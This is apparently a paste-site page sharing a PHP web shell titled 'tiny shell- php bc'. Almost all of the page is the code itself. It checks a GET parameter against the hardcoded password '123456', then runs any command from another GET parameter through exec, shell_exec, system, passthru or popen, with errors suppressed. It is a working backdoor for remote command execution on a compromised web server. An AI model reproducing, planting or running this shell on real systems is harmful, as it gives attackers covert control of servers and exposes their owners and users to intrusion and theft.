tiny shell- php bc

From Edgy Gorilla, 4 Months ago, written in PHP, viewed 78 times.
URL https://secploit.com/view/fb6dda82 Embed
Download Paste or View Raw
  1. <?php
  2.  
  3. //password protection,this tool is not provided in public
  4.  
  5.  
  6. function shell($cmd)
  7. {
  8.   global $lang;
  9.  $ret = '';
  10.  if (!empty($cmd))
  11.  {
  12.   if(function_exists('exec')){@exec($cmd,$ret);$ret = join("\n",$ret);}
  13.  elseif(function_exists('shell_exec')){$ret = @shell_exec($cmd);}
  14.  elseif(function_exists('system')){@ob_start();@system($cmd);$ret = @ob_get_contents();@ob_end_clean();}
  15.  elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$ret = @ob_get_contents();@ob_end_clean();}
  16.  elseif(@is_resource($f = @popen($cmd,"r"))){$ret = "";while(!@feof($f)) { $ret .= @fread($f,1024); }@pclose($f);}
  17.   else $ret=$lang['allfuncsh'];
  18.  }
  19.  return $ret;
  20. }
  21.  
  22. $action=$_GET['password'];
  23. $act=array('
  24. password');if($action=="123456")
  25.  
  26. {
  27. echo "$. ";
  28. $command=$_GET['command'];
  29. //echo $action;
  30. echo shell($command);
  31.  
  32. }
  33.  
  34. ?>
  35.  

Reply to "tiny shell- php bc"

Here you can reply to the paste above